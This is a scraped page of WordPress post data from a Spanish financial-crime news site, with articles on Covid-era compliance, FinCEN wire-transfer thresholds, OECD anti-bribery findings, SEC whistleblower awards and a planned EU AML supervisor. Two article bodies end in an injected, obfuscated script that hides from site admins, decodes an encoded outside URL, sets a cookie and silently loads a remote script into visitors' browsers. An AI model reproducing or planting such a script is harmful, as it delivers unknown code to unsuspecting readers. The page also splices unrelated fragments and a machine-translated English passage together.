o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de 